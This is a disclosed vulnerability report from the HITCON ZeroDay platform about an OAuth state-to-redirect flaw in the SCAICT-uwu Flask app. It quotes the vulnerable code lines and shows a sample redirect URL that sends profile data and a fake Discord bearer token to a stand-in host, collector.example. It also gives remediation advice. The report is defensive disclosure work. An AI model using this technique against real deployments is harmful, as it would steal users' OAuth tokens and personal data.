Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00783
- Vendor: 中部高中電資社團聯合會議
- Title: 中部高中電資社團聯合會議 Discord OAuth callback redirects bearer token and profile data to state-controlled host
- Introduction: SCAICT-uwu copies login redirurl into Discord OAuth state, then callback redirects profile fields and bearer token to that state-controlled host.
- 感謝函
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/05/30 22:17:33 : 新提交 (由 老狼 更新此狀態)
- 2026/06/10 12:44:45 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/21 09:25:24 : 修補中 (由 組織帳號 更新此狀態)
- 2026/07/24 01:36:41 : 公開 (由 組織帳號 更新此狀態)
- 2026/07/25 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00783
- 通報者:skyknow (老狼)
- 風險:中
- 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)
參考資料
OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
相關網址
https://scaict.org/
https://github.com/SCAICT/SCAICT-uwu
敘述
Summary
The public SCAICT/SCAICT-uwu Flask application copies a caller-controlled redirurl query parameter from /login into the Discord OAuth state parameter. After OAuth completes, /callback treats state as a redirect host and redirects the browser to https://{state}.
Before redirecting, the callback serializes Discord profile fields and a bearer access token into the redirect query string. If this code is deployed as written, a crafted login URL can cause the trusted SCAICT OAuth flow to send the authenticated user's Discord email/user id/profile fields and OAuth bearer token to an attacker-controlled HTTPS host.
I validated this only with public source review and a local replay using fake values. I did not contact SCAICT production, Discord OAuth, Discord API, or any real user/account/token.
Affected target
- Program: HITCON ZeroDay - 中部高中電資社團聯合會議
- HITCON detail: https://zeroday.hitcon.org/bug-bounty/139
- Official site: https://scaict.org/
- Public source: https://github.com/SCAICT/SCAICT-uwu
- Validated commit: ef9174f4893895083465af21b3c00aa36981a9d8
- Component: Flask Discord OAuth login and callback flow in app.py
Technical details
In app.py, /login reads redirurl and copies it into OAuth state:
line 59: redirurl = request.args.get("redirurl")
line 68: params["state"] = redirurl
In /callback, the application reads state back as redirurl, creates an OAuth bearer header, includes that header object in browser-visible query parameters, and redirects to the state-controlled host:
line 210: redirurl = request.args.get("state")
line 228: headers = {"Authorization": f"Bearer {access_token}"}
line 258: "headers": headers
line 262: return redirect(f"https://{redirurl}{separator}{urlencoded}")
Because state is acting as an external redirect target instead of a server-side nonce, the callback can be steered to an arbitrary HTTPS host while carrying profile fields and the access token in the URL.
Local validation
I used a local-only script that reads the public source and replays the callback URL construction with fake data. The script does not import or execute the Flask app and does not make network requests.
Command:
python3 findings/20260530-2149-hitcon-scaict-discord-oauth-state-token-leak/local-repro.py
Observed result:
observed_candidate_behavior: true
network_requests: 0
generated_redirect host: collector.example
generated query contains: fake-discord-access-token
The generated local redirect is:
https://collector.example/oauth-callback?username=student-user&user_id=123456789012345678&avatar=https%3A%2F%2Fcdn.discordapp.com%2Favatars%2F123456789012345678%2Favatarhash.png&email=student%40example.test&headers=%7B%27Authorization%27%3A+%27Bearer+fake-discord-access-token%27%7D
Impact
If this OAuth callback is deployed as written, an attacker can craft a login URL with a controlled redirurl value. A victim who completes Discord OAuth can be redirected to the attacker's HTTPS host with:
- Discord username
- Discord user id
- Discord email
- Discord avatar URL
- Discord OAuth bearer access token serialized inside the
headersquery parameter
The source uses the Discord OAuth scopes identify email, so the conservative impact is Discord profile/email disclosure and access-token leakage for that scope. This report does not claim Discord account takeover, live production exploitation, or access to any real SCAICT or Discord data.
Safety boundary
- No SCAICT production request.
- No Discord OAuth or Discord API request.
- No real account, token, email, guild, student data, or third-party data.
- No scanner, fuzzing, DoS, brute force, social engineering, public issue/PR, vendor contact, HITCON form action, or report submission.
- Deployment status and real Discord OAuth redirect configuration were not tested.
修補建議
- Do not use arbitrary OAuth `state` values as redirect URLs.
- Store an unpredictable server-side nonce in `state`, then map it to an allowlisted post-login path after OAuth completes.
- Never serialize OAuth bearer tokens, authorization headers, or profile data into browser-visible redirect URLs.
- If external redirects are required, enforce an explicit allowlist and keep tokens and profile fields server-side.